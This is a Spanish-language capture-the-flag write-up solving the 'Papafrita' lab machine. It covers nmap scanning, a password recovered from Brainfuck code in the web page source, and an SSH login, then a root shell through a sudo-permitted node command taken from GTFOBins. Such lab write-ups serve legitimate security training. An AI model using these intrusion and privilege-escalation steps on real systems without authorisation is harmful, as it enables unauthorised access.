> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/papafrita.md).

# Papafrita

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.80
```

para verificar la conectividad de red.

<figure><img src="/files/8HIESggTR5FF6WoFiypV" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.80
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/nhwRAQeCMknEH1OEtpl8" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.80
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/vEXjz6K8jK2foUSKCnhN" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de por defecto de **Apache**.

<figure><img src="/files/FgUHSrwHiWZsb6gmV1s2" alt=""><figcaption></figcaption></figure>

Revisamos el código fuente y nos encontramos con un código escrito en **Brainfuck** por lo que desencriptamos.

<figure><img src="/files/jJmwtoiYIbONlodGVMv0" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

<figure><img src="/files/wmNGjeRrb8BoGftjJoyj" alt=""><figcaption></figcaption></figure>

Parece ser que **abuelacalientalasopa** es una contraseña por lo que suponemos con la lógica que el usuario es **abuela**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh abuela@192.168.1.80
```

<figure><img src="/files/4vAybm6Wlx1H8PrHT53h" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/1DsMvnujhrDpDYH8Pea8" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos sudo con **node** por lo que miramos [GTFOBins](https://gtfobins.github.io/gtfobins/node/) para ver como podemos escalar privilegios.

```bash
sudo -u root node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```

Ya somos **root**.

<figure><img src="/files/RmRmw7q61njwOEDa8gsN" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
